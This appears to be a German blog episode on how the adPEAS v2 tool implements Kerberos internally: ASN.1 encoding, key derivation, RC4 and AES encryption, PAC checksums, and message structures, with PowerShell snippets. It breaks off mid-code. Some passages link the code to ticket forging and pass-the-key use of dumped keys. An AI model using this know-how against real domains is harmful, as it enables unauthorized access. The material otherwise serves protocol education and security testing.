adPEAS v2 Episode 7: Kerberos Internals - Was wirklich auf dem Draht passiert
Deep Dive in die Kerberos-Protokoll-Internals wie sie adPEAS v2 implementiert: ASN.1-Encoding, Key Derivation, Verschlüsselungsalgorithmen, Nachrichtenstrukturen und warum Angriffe wie Kerberoasting funktionieren.
Einleitung
In Episode 3 (Authentifizierung) haben wir gesehen, wie adPEAS sich am KDC anmeldet. In Episode 6 (Offensive Operations) haben wir mit Invoke-TicketForge Golden, Silver und Diamond Tickets erstellt. Aber was passiert dabei eigentlich auf Byte-Ebene?
Diese Episode ist ein Deep Dive in die Kerberos-Internals, wie adPEAS v2 sie implementiert. Wir schauen uns an:
- ASN.1 DER Encoding — wie Kerberos-Nachrichten auf dem Draht codiert werden
- Key Derivation — wie aus einem Passwort ein kryptografischer Key wird
- Verschlüsselung — RC4-HMAC vs. AES256-CTS-HMAC-SHA1
- Nachrichtentypen — AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-CRED
- Ticket-Struktur — was in einem Kerberos-Ticket steckt
- Kerberoasting & ASREPRoast — warum diese Angriffe funktionieren
Hinweis: Diese Episode ist technisch anspruchsvoll. Sie richtet sich an Leser, die verstehen wollen, warum Kerberos-Angriffe funktionieren — nicht nur wie man sie ausführt. Grundkenntnisse in Kryptografie und Netzwerkprotokollen sind hilfreich.
Teil 1: ASN.1 — Die Sprache des Kerberos-Protokolls
Warum ASN.1?
Jede Kerberos-Nachricht — von der initialen Anmeldung bis zum Service-Ticket — wird als ASN.1-Struktur codiert und im DER-Format (Distinguished Encoding Rules) über das Netzwerk gesendet. ASN.1 ist also die “Drahtsprache” von Kerberos.
Was ist ASN.1? Abstract Syntax Notation One ist ein Standard zur Beschreibung von Datenstrukturen. DER ist das Encoding-Format, das diese Strukturen in Bytes umsetzt. Man kann sich ASN.1 wie ein binäres JSON vorstellen — nur älter, komplexer und mit festen Typen.
adPEAS implementiert einen eigenen ASN.1 DER Builder und Parser in PowerShell. Warum? Weil die eingebauten .NET-Klassen (AsnEncodedData, AsnReader) für Kerberos-spezifische Strukturen zu eingeschränkt sind. Die Kerberos-RFCs verwenden exzessiv Context-Tags und implizite Typen, die .NET nicht direkt unterstützt.
Tag-Length-Value (TLV): Das Grundprinzip
Jedes ASN.1-Element besteht aus drei Teilen:
+-----+--------+-------+
| Tag | Length | Value |
+-----+--------+-------+
- Tag (1+ Bytes): Bestimmt den Typ des Elements
- Length (1+ Bytes): Gibt die Länge des Value-Feldes an
- Value (0+ Bytes): Die eigentlichen Daten
Tag-Struktur im Detail
Ein ASN.1-Tag hat folgenden Aufbau:
Bit: 7 6 5 4 3 2 1 0
+---+---+---+---+---+---+---+---+
| Class | C | Tag Number |
+---+---+---+---+---+---+---+---+
Class (Bits 7-6):
00 = Universal (Standard-Typen: INTEGER, OCTET STRING, ...)
01 = Application (Kerberos-Nachrichtentypen: AS-REQ, TGS-REP, ...)
10 = Context (Feld-Nummern innerhalb einer SEQUENCE)
11 = Private (selten verwendet)
C (Bit 5):
0 = Primitive (enthält direkt Daten)
1 = Constructed (enthält weitere TLV-Elemente)
Tag Number (Bits 4-0):
0-30: Direkt codiert
31: Long Form (weitere Bytes folgen)
Die wichtigsten Tags in Kerberos:
| Hex | Binär | Bedeutung |
|---|---|---|
| 0x02 | 00 000010 | Universal, Primitive, INTEGER |
| 0x04 | 00 000100 | Universal, Primitive, OCTET STRING |
| 0x1B | 00 011011 | Universal, Primitive, GeneralString |
| 0x30 | 00 110000 | Universal, Constructed, SEQUENCE |
| 0x6A | 01 101010 | Application 10, Constructed (AS-REQ) |
| 0x6B | 01 101011 | Application 11, Constructed (AS-REP) |
| 0x6C | 01 101100 | Application 12, Constructed (TGS-REQ) |
| 0x6D | 01 101101 | Application 13, Constructed (TGS-REP) |
| 0x76 | 01 110110 | Application 22, Constructed (KRB-CRED) |
| 0xA0 | 10 100000 | Context 0, Constructed |
| 0xA1 | 10 100001 | Context 1, Constructed |
| 0xA2 | 10 100010 | Context 2, Constructed |
| 0xA3 | 10 100011 | Context 3, Constructed |
Context-Tags sind in Kerberos allgegenwärtig. In einer SEQUENCE wird jedes Feld mit einem Context-Tag nummeriert, damit der Parser weiß, welches Feld gerade kommt:
SEQUENCE {
[0] pvno INTEGER, -- Context 0 = Protokollversion
[1] msg-type INTEGER, -- Context 1 = Nachrichtentyp
[2] padata SEQUENCE, -- Context 2 = Pre-Authentication Data
...
}
Length Encoding
Die Länge wird je nach Größe unterschiedlich codiert:
Short Form (0-127 Bytes):
Length < 128: Ein Byte, direkt der Wert
Beispiel: Length = 42 -> 0x2A
Long Form (128+ Bytes):
Length >= 128: Erstes Byte = 0x80 | Anzahl der Längenbytes
Folgebytes = Länge in Big Endian
Beispiel: Length = 256
-> 0x82 0x01 0x00
0x82 = 0x80 | 2 (2 Folgebytes)
0x01 0x00 = 256 in Big Endian
Beispiel: Length = 4096
-> 0x82 0x10 0x00
0x82 = 0x80 | 2 (2 Folgebytes)
0x10 0x00 = 4096 in Big Endian
Praxisbeispiel: Ein AS-REQ auf dem Draht
So sieht eine vereinfachte AS-REQ-Nachricht aus, wenn adPEAS sie zusammenbaut:
6A 82 01 3E -- APPLICATION 10 (AS-REQ), Length 318
| 30 82 01 3A -- SEQUENCE, Length 314
| | A1 03 -- Context [1] (pvno)
| | | 02 01 05 -- INTEGER 5
| | A2 03 -- Context [2] (msg-type)
| | | 02 01 0A -- INTEGER 10 (AS-REQ)
| | A3 82 00 xx -- Context [3] (padata)
| | | 30 82 00 xx -- SEQUENCE OF PA-DATA
| | | | 30 xx -- PA-DATA (PA-ENC-TIMESTAMP)
| | | | | A1 03 -- padata-type
| | | | | | 02 01 02 -- INTEGER 2 (PA-ENC-TIMESTAMP)
| | | | | A2 xx -- padata-value
| | | | | | 04 xx ... -- OCTET STRING (verschlüsselter Timestamp)
| | A4 82 00 xx -- Context [4] (req-body)
| | | 30 82 00 xx -- SEQUENCE (KDC-REQ-BODY)
| | | | A0 07 -- Context [0] (kdc-options)
| | | | | 03 05 00 40 81 00 10 -- BIT STRING (Forwardable, Renewable, ...)
| | | | A1 xx -- Context [1] (cname)
| | | | | 30 xx -- PrincipalName
| | | | | | ... -- NT-PRINCIPAL: "user"
| | | | A2 xx -- Context [2] (realm)
| | | | | 1B xx -- GeneralString: "CONTOSO.COM"
| | | | A3 xx -- Context [3] (sname)
| | | | | 30 xx -- PrincipalName
| | | | | | ... -- NT-SRV-INST: "krbtgt/CONTOSO.COM"
| | | | A5 11 -- Context [5] (till)
| | | | | 18 0F -- GeneralizedTime
| | | | | | "20370913024805Z" -- Ablaufzeit
| | | | A7 03 -- Context [7] (nonce)
| | | | | 02 01 xx -- INTEGER (zufälliger Nonce)
| | | | A8 xx -- Context [8] (etype)
| | | | | 30 xx -- SEQUENCE OF INTEGER
| | | | | | 02 01 12 -- INTEGER 18 (AES256-CTS)
| | | | | | 02 01 17 -- INTEGER 23 (RC4-HMAC)
Was hier passiert:
- Die äußere Hülle ist
APPLICATION 10— das identifiziert die Nachricht als AS-REQ - Darin steckt eine SEQUENCE mit Context-Tags
[1]bis[4] [1]= pvno (Protokollversion 5),[2]= msg-type (10 = AS-REQ)[3]= PA-DATA mit verschlüsseltem Timestamp (Pre-Authentication)[4]= Der Request-Body mit Client-Name, Realm, Service-Name, Optionen und unterstützten Verschlüsselungstypen
adPEAS ASN.1 Builder
adPEAS baut ASN.1-Strukturen mit einem Satz von Hilfsfunktionen auf. Das Prinzip: Von innen nach außen zusammenbauen, dann in die äußeren Container verpacken.
Die wichtigsten Builder-Funktionen:
# Primitive Typen
[Asn1Builder]::CreateInteger(5)
# -> 02 01 05
[Asn1Builder]::CreateOctetString($bytes)
# -> 04 <length> <bytes>
[Asn1Builder]::CreateGeneralString("CONTOSO.COM")
# -> 1B 0B 43 4F 4E 54 4F 53 4F 2E 43 4F 4D
[Asn1Builder]::CreateGeneralizedTime("20370913024805Z")
# -> 18 0F 32 30 33 37 30 39 31 33 30 32 34 38 30 35 5A
# Constructed Typen
[Asn1Builder]::CreateSequence($innerBytes)
# -> 30 <length> <innerBytes>
# Context Tags
[Asn1Builder]::CreateContextTag(0, $innerBytes)
# -> A0 <length> <innerBytes>
# Application Tags
[Asn1Builder]::CreateApplicationTag(10, $innerBytes)
# -> 6A <length> <innerBytes>
Beispiel: PrincipalName zusammenbauen
Ein PrincipalName (z.B. krbtgt/CONTOSO.COM) besteht aus:
PrincipalName ::= SEQUENCE {
name-type [0] INTEGER, -- 2 = NT-SRV-INST
name-string [1] SEQUENCE OF GeneralString
}
In adPEAS:
function New-PrincipalName {
param([int]$NameType, [string[]]$Names)
# name-string: SEQUENCE OF GeneralString
$nameStrings = foreach ($name in $Names) {
[Asn1Builder]::CreateGeneralString($name)
}
$nameSeq = [Asn1Builder]::CreateSequence(
[Asn1Builder]::Combine($nameStrings)
)
# PrincipalName SEQUENCE
[Asn1Builder]::CreateSequence(
[Asn1Builder]::Combine(@(
[Asn1Builder]::CreateContextTag(0,
[Asn1Builder]::CreateInteger($NameType)
),
[Asn1Builder]::CreateContextTag(1, $nameSeq)
))
)
}
# krbtgt/CONTOSO.COM
$sname = New-PrincipalName -NameType 2 -Names @("krbtgt", "CONTOSO.COM")
adPEAS ASN.1 Parser
Der Parser arbeitet in die umgekehrte Richtung — er liest Bytes und baut eine Baumstruktur:
# Kerberos-Nachricht parsen
$parsed = [Asn1Parser]::Parse($responseBytes)
# Ergebnis ist ein Baum von Asn1Node-Objekten:
# $parsed.Tag -> 0x6B (APPLICATION 11 = AS-REP)
# $parsed.Children[0] -> SEQUENCE
# $parsed.Children[0].Children[0] -> Context [0] (pvno)
# ...
# Bequemer Zugriff mit GetChildByTag:
$asRep = $parsed
$pvno = $asRep.GetContextTag(0).GetChild().Value # -> 5
$msgType = $asRep.GetContextTag(1).GetChild().Value # -> 11
$encPart = $asRep.GetContextTag(5) # EncryptedData
Was der Parser mit einer AS-REP macht:
Eingehende Bytes:
6B 82 03 xx 30 82 03 xx A0 03 02 01 05 A1 03 02 01 0B ...
Geparster Baum:
AS-REP [APPLICATION 11]
|-- SEQUENCE
|-- [0] pvno: 5
|-- [1] msg-type: 11
|-- [2] crealm: "CONTOSO.COM"
|-- [3] cname: PrincipalName
| |-- [0] name-type: 1
| +-- [1] name-string: ["user"]
|-- [4] ticket: Ticket [APPLICATION 1]
| +-- (verschlüsselt mit krbtgt-Key)
+-- [5] enc-part: EncryptedData
|-- [0] etype: 18 (AES256-CTS)
|-- [1] kvno: 2
+-- [2] cipher: <verschlüsselte Bytes>
Der Parser ist der erste Schritt bei jeder eingehenden Kerberos-Nachricht. Aus dem geparsten Baum extrahiert adPEAS dann die relevanten Felder — z.B. das verschlüsselte Ticket aus der AS-REP oder den Session Key nach der Entschlüsselung.
Teil 2: Key Derivation — Vom Passwort zum kryptografischen Key
Das Problem
Kerberos muss aus einem Benutzerpasswort einen kryptografischen Schlüssel ableiten, der zum Ver- und Entschlüsseln von Nachrichten verwendet wird. Je nach Encryption Type (etype) ist dieser Prozess unterschiedlich komplex.
adPEAS unterstützt zwei Haupttypen:
| EType | Name | Key-Länge | Algorithmus |
|---|---|---|---|
| 23 | RC4-HMAC | 16 Bytes | MD4(UTF-16LE(password)) |
| 18 | AES256-CTS-HMAC-SHA1-96 | 32 Bytes | PBKDF2 + n-fold + DK |
RC4-HMAC (EType 23): Der einfache Weg
Bei RC4-HMAC ist der Kerberos-Key einfach der NT-Hash des Passworts:
Password: "P@ssw0rd"
|
v
UTF-16LE Encoding: 50 00 40 00 73 00 73 00 77 00 30 00 72 00 64 00
|
v
MD4 Hash
|
v
NT-Hash = Key: 9A5B287082D9C2E6F31E4F4EDF702B74
Das war’s. Kein Salt, kein Stretching, keine Iterationen. Genau deshalb ist RC4-HMAC so anfällig — der Key ist identisch mit dem NT-Hash, der auch für NTLM-Authentifizierung verwendet wird.
adPEAS-Implementierung:
function Get-RC4Key {
param([string]$Password)
# UTF-16LE Encoding
$passwordBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)
# MD4 Hash = NT-Hash = RC4-HMAC Key
$md4 = New-MD4Hash -DataToHash $passwordBytes
return $md4
}
Warum MD4? Das Kerberos RC4-HMAC-Schema wurde von Microsoft entworfen, um kompatibel mit dem bestehenden NTLM-Hash zu sein. Man muss keine neuen Keys generieren — der vorhandene NT-Hash wird einfach wiederverwendet. Bequem, aber kryptografisch problematisch.
AES256-CTS-HMAC-SHA1-96 (EType 18): Der richtige Weg
AES256 Key Derivation ist deutlich aufwendiger und besteht aus mehreren Schritten:
Password + Salt
|
v
+-------------------+
| PBKDF2-HMAC-SHA1 |
| Iterations: 4096 |
| DKLen: 32 Bytes |
+-------------------+
|
v
Base Key (32 Bytes)
|
v
+-------------------+
| DK (Derived Key) |
| n-fold + Encrypt |
| "kerberos" const |
+-------------------+
|
v
Protocol Key (32 Bytes)
Schritt 1: Salt zusammenbauen
Der Salt ist bei Kerberos nicht zufällig, sondern deterministisch:
Für Users: REALM + username -> "CONTOSO.COMuser"
Für Computer: REALM + "host/" + hostname.realm -> "CONTOSO.COMhostdc01.contoso.com"
Achtung: Der Realm ist in Großbuchstaben, der Username in der originalen Schreibweise (Case-Sensitive!).
Schritt 2: PBKDF2
# PBKDF2-HMAC-SHA1 mit 4096 Iterationen
$pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes(
$passwordBytes,
$saltBytes,
4096,
[System.Security.Cryptography.HashAlgorithmName]::SHA1
)
$baseKey = $pbkdf2.GetBytes(32) # 256 Bit
Schritt 3: n-fold Algorithmus
Der n-fold-Algorithmus ist eine Kerberos-spezifische Funktion, die einen String auf eine beliebige Bitlänge “faltet”. Er wird verwendet, um die Konstante "kerberos" auf die benötigte Blocklänge zu bringen:
Eingabe: "kerberos" (64 Bit ASCII = 6B 65 72 62 65 72 6F 73)
Ausgabe: n-fold auf 256 Bit (32 Bytes)
Algorithmus:
1. Eingabe-Bits zyklisch wiederholen
2. Jeweils um lcm(inBits, outBits)/inBits Positionen rotieren
3. Alle rotierten Kopien mit Carry-Addition addieren
Ergebnis: 6B 65 72 62 65 72 6F 73 (wird zu 32 Bytes gefaltet)
Schritt 4: DK (Derived Key)
Der finale Key wird durch Verschlüsselung der n-fold-Konstante mit dem Base Key gewonnen:
function Get-DerivedKey {
param([byte[]]$BaseKey, [string]$Usage)
# 1. Konstante "kerberos" mit n-fold auf 256 Bit falten
$constant = [System.Text.Encoding]::ASCII.GetBytes("kerberos")
$nfolded = Invoke-NFold -Input $constant -OutputBits 256
# 2. Mit AES-CBC verschlüsseln (IV = 0)
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::None
$aes.Key = $BaseKey
$aes.IV = New-Object byte[] 16 # Zero IV
$encryptor = $aes.CreateEncryptor()
$dk = $encryptor.TransformFinalBlock($nfolded, 0, $nfolded.Length)
return $dk
}
Key Derivation für Kerberos-Operationen (Ke, Ki, Kc)
Aus dem Protocol Key werden für verschiedene Operationen Sub-Keys abgeleitet:
Protocol Key (Ke)
|
+-- Ke (Encryption Key): Für Daten-Verschlüsselung
| Usage: Concat(usage-number, 0xAA)
| Bsp: Key Usage 3 -> 00 00 00 03 AA
|
+-- Ki (Integrity Key): Für HMAC-Integrität
| Usage: Concat(usage-number, 0x55)
| Bsp: Key Usage 3 -> 00 00 00 03 55
|
+-- Kc (Checksum Key): Für Checksums
Usage: Concat(usage-number, 0x99)
Bsp: Key Usage 3 -> 00 00 00 03 99
Key Usage Numbers in Kerberos:
| Usage | Kontext |
|---|---|
| 1 | AS-REQ PA-ENC-TIMESTAMP |
| 2 | AS-REP Ticket (Session Key) |
| 3 | AS-REP EncPart (Encrypted mit User Key) |
| 7 | TGS-REQ Authenticator |
| 8 | TGS-REP EncPart |
| 9 | TGS-REQ Authenticator Subkey |
| 10 | AP-REQ Authenticator Checksum |
| 14 | KRB-CRED EncPart |
Get-Hash: adPEAS Key Derivation
adPEAS kapselt die gesamte Key Derivation in einer einzigen Funktion:
function Get-Hash {
param(
[string]$Password,
[string]$Salt,
[int]$EType # 17 = AES128, 18 = AES256, 23 = RC4
)
switch ($EType) {
23 {
# RC4-HMAC: Einfach MD4(UTF-16LE(Password))
$passwordBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)
return New-MD4Hash -DataToHash $passwordBytes
}
18 {
# AES256: PBKDF2 -> n-fold -> DK
$passwordBytes = [System.Text.Encoding]::UTF8.GetBytes($Password)
$saltBytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)
$baseKey = Invoke-PBKDF2 -Password $passwordBytes -Salt $saltBytes `
-Iterations 4096 -KeyLength 32
return Get-DerivedKey -BaseKey $baseKey
}
17 {
# AES128: Gleich wie AES256, nur 16 Bytes
$passwordBytes = [System.Text.Encoding]::UTF8.GetBytes($Password)
$saltBytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)
$baseKey = Invoke-PBKDF2 -Password $passwordBytes -Salt $saltBytes `
-Iterations 4096 -KeyLength 16
return Get-DerivedKey -BaseKey $baseKey
}
}
}
Wichtig für Offensive: Bei Pass-the-Key und Overpass-the-Hash umgeht man die gesamte Key Derivation. Man hat bereits den fertigen Key (z.B. aus einem DCSync oder Credential Dump) und überspringt das Passwort komplett. Deshalb ist der Schutz der Kerberos-Keys genauso wichtig wie der Schutz der Passwörter.
Teil 3: Verschlüsselung — RC4-HMAC vs. AES-CTS
RC4-HMAC (EType 23)
RC4-HMAC war jahrelang der Standard in Active Directory. Es ist schnell, einfach zu implementieren — und aus kryptografischer Sicht veraltet.
Verschlüsselungsprozess:
Klartext
|
v
+---------------------------+
| 1. Confounder generieren |
| (8 zufällige Bytes) |
+---------------------------+
|
v
+---------------------------+
| 2. HMAC-MD5 Checksum |
| K1 = HMAC-MD5(Key, |
| Usage-Nummer) |
| Checksum = HMAC-MD5(K1,|
| Confounder+Data) |
+---------------------------+
|
v
+---------------------------+
| 3. RC4 Encryption |
| K3 = HMAC-MD5(K1, |
| Checksum) |
| RC4(K3, |
| Confounder+Data) |
+---------------------------+
|
v
Chiffre = Checksum + RC4(Confounder + Daten)
Aufbau des Chiffretexts:
+----------+------------+-------------------+
| Checksum | Confounder | Verschlüsselte |
| 16 Bytes | 8 Bytes | Daten |
+----------+------------+-------------------+
(HMAC) (RC4-verschlüsselt)
adPEAS-Implementierung (vereinfacht):
function Invoke-RC4HMACEncrypt {
param(
[byte[]]$Key, # 16 Bytes (NT-Hash)
[int]$KeyUsage, # z.B. 3 für AS-REP
[byte[]]$Plaintext
)
# 1. Usage Key ableiten
$usageBytes = [BitConverter]::GetBytes($KeyUsage)
# Little Endian -> 4 Bytes
$K1 = Invoke-HMACMD5 -Key $Key -Data $usageBytes
# 2. Zufälligen Confounder generieren
$confounder = New-RandomBytes -Count 8
# 3. Checksum über Confounder + Plaintext
$toChecksum = $confounder + $Plaintext
$checksum = Invoke-HMACMD5 -Key $K1 -Data $toChecksum
# 4. Encryption Key aus Checksum ableiten
$K3 = Invoke-HMACMD5 -Key $K1 -Data $checksum
# 5. RC4-Verschlüsselung
$encrypted = Invoke-RC4 -Key $K3 -Data $toChecksum
# Ergebnis: Checksum + verschlüsselter (Confounder + Daten)
return $checksum + $encrypted
}
AES256-CTS-HMAC-SHA1-96 (EType 18)
AES256-CTS ist der moderne Standard. CTS steht für “Ciphertext Stealing” — ein Modus, der keinen Padding benötigt und den Chiffretext auf die exakte Klartextlänge bringt.
Verschlüsselungsprozess:
Klartext
|
v
+-------------------------------+
| 1. Confounder generieren |
| (16 Bytes = AES Block Size)|
+-------------------------------+
|
v
+-------------------------------+
| 2. Ke ableiten (Encryption) |
| Ke = DK(Key, Usage|0xAA) |
+-------------------------------+
|
v
+-------------------------------+
| 3. AES-CBC-CTS verschlüsseln |
| IV = Zero (16 Bytes) |
| Daten = Confounder + Plain |
+-------------------------------+
|
v
+-------------------------------+
| 4. Ki ableiten (Integrity) |
| Ki = DK(Key, Usage|0x55) |
+-------------------------------+
|
v
+-------------------------------+
| 5. HMAC-SHA1 Checksum |
| Über den Ciphertext |
| Auf 12 Bytes gekürzt |
+-------------------------------+
|
v
Chiffre = AES-CTS(Confounder + Daten) + HMAC[0..11]
Aufbau des Chiffretexts:
+-------------------------------------------+-----------+
| AES-CTS verschlüsselt | HMAC-SHA1 |
| (Confounder 16B + Daten) | 12 Bytes |
+-------------------------------------------+-----------+
Was ist CTS (Ciphertext Stealing)?
Normales AES-CBC braucht Padding auf Blockgröße (16 Bytes). CTS vermeidet das, indem es den letzten unvollständigen Block mit Bytes aus dem vorletzten Block auffüllt und die letzten beiden Blöcke tauscht:
Standard AES-CBC (mit Padding):
+--------+--------+--------+--------+
| Block1 | Block2 | Block3 | Pad |
+--------+--------+--------+--------+
16B 16B 16B 1-16B <- Padding nötig
AES-CTS (ohne Padding):
+--------+--------+--------+--------+
| Block1 | Block2 | Block3'| Blk2' |
+--------+--------+--------+--------+
16B 16B restB 16B <- Kein Padding, letzter Block gekürzt
CTS-Schritte:
- Alle Blöcke bis auf die letzten zwei normal mit AES-CBC verschlüsseln
- Vorletzten Block verschlüsseln ->
Cn-1 - Letzten (möglicherweise kurzen) Block mit den überschüssigen Bytes von
Cn-1auffüllen - Aufgefüllten Block verschlüsseln ->
Cn - Letzten zwei Blöcke tauschen: Ausgabe =
..., Cn, Cn-1[0..restLen-1]
adPEAS-Implementierung (vereinfacht):
function Invoke-AES256CTSEncrypt {
param(
[byte[]]$Key, # 32 Bytes (AES256 Key)
[int]$KeyUsage, # z.B. 3 für AS-REP
[byte[]]$Plaintext
)
# 1. Sub-Keys ableiten
$Ke = Get-SubKey -BaseKey $Key -Usage $KeyUsage -Type 0xAA # Encryption
$Ki = Get-SubKey -BaseKey $Key -Usage $KeyUsage -Type 0x55 # Integrity
# 2. Confounder generieren
$confounder = New-RandomBytes -Count 16
# 3. AES-CBC-CTS verschlüsseln
$plainWithConfounder = $confounder + $Plaintext
$ciphertext = Invoke-AES_CTS_Encrypt -Key $Ke -Data $plainWithConfounder
# 4. HMAC-SHA1 Checksum (auf 12 Bytes gekürzt)
$hmac = Invoke-HMACSHA1 -Key $Ki -Data $ciphertext
$truncatedHmac = $hmac[0..11]
return $ciphertext + $truncatedHmac
}
cryptdll.dll: Windows Kerberos-Crypto-API
Für bestimmte Operationen nutzt adPEAS die Windows-eigene cryptdll.dll. Diese DLL exportiert Low-Level-Kerberos-Kryptografiefunktionen, die von lsass.exe für die Kerberos-Verarbeitung verwendet werden.
Warum cryptdll.dll?
PAC-Signaturen verwenden Kerberos-spezifische Checksum-Typen, die nicht mit Standard-.NET-Krypto nachgebaut werden können:
| Checksum-Typ | Wert | Beschreibung |
|---|---|---|
| HMAC_MD5 | -138 | RC4-HMAC PAC Checksum |
| HMAC_SHA1_96_AES256 | 16 | AES256 PAC Checksum |
adPEAS P/Invoke-Deklarationen:
# cryptdll.dll Funktionen importieren
$cryptDllImport = @"
[DllImport("cryptdll.dll", CharSet = CharSet.Auto)]
public static extern int CDLocateCSystem(int etype, out IntPtr pCheckSum);
[DllImport("cryptdll.dll", CharSet = CharSet.Auto)]
public static extern int CDLocateCheckSum(int etype, out IntPtr pCheckSum);
"@
# CheckSum-Struktur
# +0x00: Type (int)
# +0x04: Size (int)
# +0x08: Flags (int)
# +0x0C: Initialize (IntPtr -> Funktion)
# +0x10: Sum (IntPtr -> Funktion)
# +0x14: Finalize (IntPtr -> Funktion)
# +0x18: Finish (IntPtr -> Funktion)
PAC-Checksum-Berechnung (vereinfacht):
function Get-KerberosChecksum {
param(
[byte[]]$Key,
[byte[]]$Data,
[int]$ChecksumType # -138 für HMAC_MD5, 16 für AES256
)
# 1. Checksum-System lokalisieren
$pCheckSum = [IntPtr]::Zero
[CryptDll]::CDLocateCheckSum($ChecksumType, [ref]$pCheckSum)
# 2. Checksum-Funktionen aus der Struktur lesen
$csystem = [Marshal]::PtrToStructure($pCheckSum, [KERB_CHECKSUM])
# 3. Initialize -> Sum -> Finalize -> Finish
$context = [IntPtr]::Zero
$csystem.Initialize.Invoke($Key, $Key.Length, [ref]$context)
$csystem.Sum.Invoke($context, $Data.Length, $Data)
$csystem.Finalize.Invoke($context, [ref]$checksumBytes)
$csystem.Finish.Invoke([ref]$context)
return $checksumBytes
}
Diese Funktion ist kritisch für Invoke-TicketForge — ohne korrekte PAC-Checksums wird jedes gefälschte Ticket vom KDC abgelehnt.
Teil 4: Kerberos-Nachrichtentypen
Überblick
Kerberos definiert einen klaren Satz von Nachrichtentypen. adPEAS implementiert die folgenden:
+----------+ AS-REQ (10) +-----+ TGS-REQ (12) +-----+
| | ----------------> | | -----------------> | |
| Client | AS-REP (11) | KDC | TGS-REP (13) | KDC |
| | <---------------- | | <----------------- | |
+----------+ +-----+ +-----+
| |
| AP-REQ (14) |
| -----------------------------------------------------> |
| AP-REP (15) |
| <--------------------------------------------- Service |
|
| KRB-CRED (22)
| <-----> .kirbi Datei / Ticket Cache
| Msg-Type | Name | APPLICATION Tag | Beschreibung |
|---|---|---|---|
| 10 | AS-REQ | 6A (App 10) | Authentication Service Request |
| 11 | AS-REP | 6B (App 11) | Authentication Service Reply |
| 12 | TGS-REQ | 6C (App 12) | Ticket-Granting Service Request |
| 13 | TGS-REP | 6D (App 13) | Ticket-Granting Service Reply |
| 14 | AP-REQ | 6E (App 14) | Application Request |
| 15 | AP-REP | 6F (App 15) | Application Reply |
| 22 | KRB-CRED | 76 (App 22) | Credential Message (.kirbi) |
| 30 | KRB-ERROR | 7E (App 30) | Error Message |
AS-REQ (Authentication Service Request)
Die AS-REQ ist die erste Nachricht im Kerberos-Flow. Der Client fragt beim KDC ein TGT an.
Struktur:
AS-REQ ::= [APPLICATION 10] KDC-REQ
KDC-REQ ::= SEQUENCE {
pvno [1] INTEGER (5),
msg-type [2] INTEGER (10),
padata [3] SEQUENCE OF PA-DATA OPTIONAL,
req-body [4] KDC-REQ-BODY
}
KDC-REQ-BODY ::= SEQUENCE {
kdc-options [0] KDCOptions (BIT STRING),
cname [1] PrincipalName, -- Client Name
realm [2] Realm, -- Domain
sname [3] PrincipalName, -- Service Name (krbtgt/REALM)
till [5] KerberosTime, -- Gewünschte Ablaufzeit
nonce [7] INTEGER, -- Zufälliger Nonce
etype [8] SEQUENCE OF INTEGER -- Unterstützte Enc Types
}
PA-DATA (Pre-Authentication Data):
adPEAS baut verschiedene PA-DATA-Typen abhängig von der Authentifizierungsmethode:
| PA-DATA Type | Wert | Verwendung |
|---|---|---|
| PA-ENC-TIMESTAMP | 2 | Passwort/Key-basierte Auth |
| PA-PK-AS-REQ | 16 | PKINIT (Zertifikat-basiert) |
| PA-PAC-REQUEST | 128 | PAC anfordern (ja/nein) |
PA-ENC-TIMESTAMP (für Passwort-Auth):
# 1. Aktuellen Timestamp als GeneralizedTime
$timestamp = Get-Date -Format "yyyyMMddHHmmssZ"
# 2. ASN.1-Struktur bauen
$paTimestamp = [Asn1Builder]::CreateSequence(
[Asn1Builder]::CreateContextTag(0,
[Asn1Builder]::CreateGeneralizedTime($timestamp)
)
)
# 3. Mit User-Key verschlüsseln (Usage 1)
$encTimestamp = Invoke-KerberosEncrypt -Key $userKey -Usage 1 `
-Plaintext $paTimestamp -EType $etype
AS-REP (Authentication Service Reply)
Die AS-REP enthält das TGT und den verschlüsselten Teil mit dem Session Key.
Struktur:
AS-REP ::= [APPLICATION 11] KDC-REP
KDC-REP ::= SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (11),
padata [2] SEQUENCE OF PA-DATA OPTIONAL,
crealm [3] Realm,
cname [4] PrincipalName,
ticket [5] Ticket, -- Das TGT (verschlüsselt mit krbtgt-Key)
enc-part [6] EncryptedData -- Verschlüsselt mit dem User-Key
}
Was adPEAS mit der AS-REP macht:
AS-REP empfangen
|
v
1. ASN.1 parsen
|
v
2. Ticket extrahieren (bleibt verschlüsselt -- wir haben den krbtgt-Key nicht)
|
v
3. enc-part mit User-Key entschlüsseln
|
v
4. Session Key extrahieren
|
v
5. TGT + Session Key = bereit für TGS-REQ
Der enc-part enthält nach Entschlüsselung:
EncASRepPart ::= SEQUENCE {
key [0] EncryptionKey, -- Session Key
last-req [1] LastReq,
nonce [2] INTEGER, -- Muss mit AS-REQ-Nonce übereinstimmen
flags [5] TicketFlags,
authtime [6] KerberosTime,
starttime [7] KerberosTime OPTIONAL,
endtime [8] KerberosTime,
renew-till [9] KerberosTime OPTIONAL,
srealm [10] Realm,
sname [11] PrincipalName
}
TGS-REQ (Ticket-Granting Service Request)
Mit dem TGT aus der AS-REP fragt der Client jetzt ein Service Ticket an.
Struktur:
TGS-REQ ::= [APPLICATION 12] KDC-REQ
-- Gleiche KDC-REQ-Struktur wie AS-REQ, aber:
-- msg-type = 12
-- padata enthält PA-TGS-REQ (Authenticator + TGT)
-- sname = gewünschter Service (z.B. "cifs/fileserver")
Der Authenticator:
# PA-TGS-REQ = AP-REQ mit TGT + Authenticator
# 1. Authenticator bauen
$authenticator = [Asn1Builder]::CreateApplicationTag(2,
[Asn1Builder]::CreateSequence(
[Asn1Builder]::Combine(@(
# [0] authenticator-vno: 5
[Asn1Builder]::CreateContextTag(0,
[Asn1Builder]::CreateInteger(5)
),
# [1] crealm
[Asn1Builder]::CreateContextTag(1,
[Asn1Builder]::CreateGeneralString($realm)
),
# [2] cname
[Asn1Builder]::CreateContextTag(2, $cname),
# [5] ctime
[Asn1Builder]::CreateContextTag(5,
[Asn1Builder]::CreateGeneralizedTime($ctime)
),
# [6] cusec
[Asn1Builder]::CreateContextTag(6,
[Asn1Builder]::CreateInteger($cusec)
)
))
)
)
